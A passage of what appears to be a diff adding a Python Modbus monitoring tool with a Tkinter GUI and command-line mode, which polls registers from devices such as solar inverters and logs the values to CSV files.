command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + 